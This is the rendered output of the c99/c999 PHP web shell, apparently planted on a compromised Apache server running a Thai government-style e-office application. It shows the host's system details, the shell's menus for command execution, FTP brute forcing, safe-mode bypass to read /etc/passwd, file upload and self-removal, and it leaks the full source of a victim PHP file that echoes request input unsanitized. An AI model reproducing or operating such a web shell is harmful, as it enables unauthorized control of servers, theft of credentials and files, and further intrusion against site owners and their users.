!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editDocRefTable.php (4.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDoc = new Documents($oC);
$oRSt = new receiveSendType($oC);

if(
$RsID==1){  $searchRsID=2; }else if($RsID==2){  $searchRsID=1;  }

?>
<script language="JavaScript">
    function ReturnValue(showDocRef)
    {
        window.opener.document.ff.DocRef.value = showDocRef;
        window.close();
    }
</script>
<html>
<head>
<title>ค้นหาหนังสือที่อ้างถึง</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body><br>
<fieldset>
<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"> &nbsp;<strong><img src="../picture/official_letter.gif"   border="0" >&nbsp;ค้นหาหนังสือที่อ้างถึง</strong> 
</font></legend>
<br>
       <form name="ff" action="editDocRefTable.php">
       <table border="0" align="center" width="98%">
       <tr><td><strong>ชนิดหนังสือ</strong></td><td><? echo  $oRSt->SearchShowRsName($searchRsID);?></td></tr>
       <tr><td width="30%"><strong>ที่หนังสือ</strong></td><td width="43%">
       <input name="DocNoSearch" id="DocNoSearch"  type="text" maxlength="50" size="25"></td>
       <td width="27%"><input type=submit value="ค้นหา" align=center onClick="return checkFormat();" ></td>
       </tr>
       </table>
       <? if($DocNoSearch!=""){ ?>
 <table width="98%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<? echo "../picture/table_header_bg.gif"?>">
      <tr height=22>
      <td width="14%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลำดับที่</strong></font></td>
      <td width="58%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ที่หนังสือ</strong></font></td>  
      <td width="28%"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>ลงวันที่</strong></font></td>  
      </tr>
      <? $i=0;   
              
$oDoc->SearchDocRefTable($searchRsID,th2a($DocNoSearch));
             while(
$oDoc->GetRecord()){    
            
$i++;
      
?>
      <tr bgcolor="#FFFFFF"><td align="center" height="22"><?  echo a2th($i); ?></td>
      <? 
                    $showDocRef
=a2th($oDoc->DocNo); 
                    
$showDocRef.=" ".a2th($oDoc->DocSubject);
                    
$showDocRef.=" ".abbreDate(splitDateDb2($oDoc->DocDate,'/'));
                
        
?>      
      <td>&nbsp;<a style="cursor:pointer;" onClick='ReturnValue("<? echo $showDocRef;?>")'><?  echo $oDoc->DocNo?></a></td>
      <td align="center"><?php  if($oDoc->DocDate =="0000-00-00"){ echo ""; }else{ echo abbreDate(splitDateDb2($oDoc->DocDate ,'/')); }?></td>
      </tr>
      <? }    ?>
      <? if($i==0){ ?>
      <tr bgcolor="#FFFFFF"><td align="center" height="22" colspan="3"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">** ไม่มีรายการหนังสือที่ค้นหา **</font></td> </tr>
      <? ?>
      </table>
      <table border="0" align="center" width="98%">
      <tr bgcolor="#FFFFFF"><td align="center" colspan="2">
          <input type="button" name="cancel" value="ยกเลิก" onClick="window.close();">
      </td></tr>
      </table><? }  // if search ?><input type="hidden" name="RsID" id="RsID"  value="<? echo $RsID?>"></form>
 </fieldset><table border="0" align="center" width="98%">
      <tr><td width="25%"  align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="85%"  align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเลือกที่หนังสือที่ต้องการอ้างถึง </font></td></tr>
      </table>
</body>
</html>
<script language="JavaScript">
function checkFormat(){
    if(document.ff.DocNoSearch.value == ""){
        alert("กรุณากรอกที่หนังสือ");
        document.ff.DocNoSearch.focus();
        return false;
    }
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0142 ]--